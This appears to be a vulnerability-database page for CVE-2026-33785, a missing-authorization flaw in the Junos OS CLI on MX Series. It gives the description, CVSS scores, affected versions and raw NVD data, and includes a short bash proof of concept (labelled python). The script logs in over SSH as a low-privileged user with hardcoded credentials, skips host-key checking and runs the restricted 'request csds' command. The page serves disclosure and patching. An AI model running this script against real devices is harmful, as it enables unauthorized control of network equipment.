CVE-2026-33785

Description

A Missing Authorization vulnerability in the CLI of Juniper Networks Junos OS on MX Series allows a local, authenticated user with low privileges to execute specific commands which will lead to a complete compromise of managed devices. Any user logged in, without requiring specific privileges, can issue 'request csds' CLI operational commands. These commands are only meant to be executed by high privileged or users designated for Juniper Device Manager (JDM) / Connected Security Distributed Services (CSDS) operations as they will impact all aspects of the devices managed via the respective MX. This issue affects Junos OS on MX Series: * 24.4 releases before 24.4R2-S3, * 25.2 releases before 25.2R2. This issue does not affect Junos OS releases before 24.4.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:juniper:junos:24.4:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos:24.4:r1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos:24.4:r1-s2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos:24.4:r1-s3:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:juniper:junos:24.4:r2:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:juniper:mx10004:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:juniper:mx10008:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:juniper:mx2008:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:juniper:mx2010:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:h:juniper:mx2020:-:*:*:*:*:*:*:* - NOT VULNERABLE

Junos OS 24.4 版本 < 24.4R2-S3

Junos OS 25.2 版本 < 25.2R2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-33785: Junos OS Missing Authorization
# This script demonstrates how a low-privileged user can execute restricted commands.

TARGET_IP="192.168.1.1"
LOW_PRIV_USER="operator"
LOW_PRIV_PASS="password123"

# Connect to the device via SSH
sshpass -p "$LOW_PRIV_PASS" ssh -o StrictHostKeyChecking=no $LOW_PRIV_USER@$TARGET_IP << 'EOF'
    # Enter CLI mode
    cli

    # Attempt to execute the restricted 'request csds' command
    # This should fail in a patched version but succeed in vulnerable versions
    echo "Attempting to execute privileged command..."
    request csds status

    echo "Command execution completed."
EOF

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33785
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33785
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33785/
[4] VulDB https://vuldb.com/cve/CVE-2026-33785
[5] https://kb.juniper.net/JSA107872

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33785", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:27.987", "lastModified": "2026-04-17T17:38:18.337", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Missing Authorization vulnerability in the CLI of Juniper Networks Junos OS on MX Series allows a local, authenticated user with low privileges to execute specific commands which will lead to a complete compromise of managed devices.\n\nAny user logged in, without requiring specific privileges, can issue 'request csds' CLI operational commands. These commands are only meant to be executed by high privileged or users designated for Juniper Device Manager (JDM) / Connected Security Distributed Services (CSDS) operations as they will impact all aspects of the devices managed via the respective MX.\n\nThis issue affects Junos OS on MX Series:\n\n\n\n * 24.4 releases before 24.4R2-S3, \n * 25.2 releases before 25.2R2.\n\n\n\n\nThis issue does not affect Junos OS releases before 24.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:M/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "USER", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:-:*:*:*:*:*:*", "matchCriteriaId": "C452BDCB-34E3-42D3-8909-2312356EB70A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r1:*:*:*:*:*:*", "matchCriteriaId": "2B8158F2-2028-40E9-955F-CFD581A32F60"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "1A7233A1-EC7A-4458-9AE1-835480A03A21"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r1-s3:*:*:*:*:*:*", "matchCriteriaId": "D74087E2-5CAA-4085-8408-EB70EC1D5D91"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r2:*:*:*:*:*:*", "matchCriteriaId": "0EEF1798-F3C2-4645-96E7-1E82368B184D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r2-s1:*:*:*:*:*:*", "matchCriteriaId": "C8BB5EE1-04C7-4DF3-807A-06005ECFEEE5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:24.4:r2-s2:*:*:*:*:*:*", "matchCriteriaId": "4C707226-9C89-4D06-8E8F-2071061E6F2A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:25.2:-:*:*:*:*:*:*", "matchCriteriaId": "1B7572BB-9C77-4214-9C5F-CC83C7B93E37"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:25.2:r1:*:*:*:*:*:*", "matchCriteriaId": "CAADBF98-38BE-40E2-AF1B-9077DCED0809"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:25.2:r1-s1:*:*:*:*:*:*", "matchCriteriaId": "558F0A4C-0C72-4BF1-B2DE-C0D3BFD54BCD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:juniper:junos:25.2:r1-s2:*:*:*:*:*:*", "matchCriteriaId": "127FE528-AB27-4B18-AF3B-1BE7C0AEEE20"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:juniper:mx10004:-:*:*:*:*:*:*:*", "matchCriteriaId": "84F7BB7E-3A52-4C23-A4D2-50E75C ... (truncated)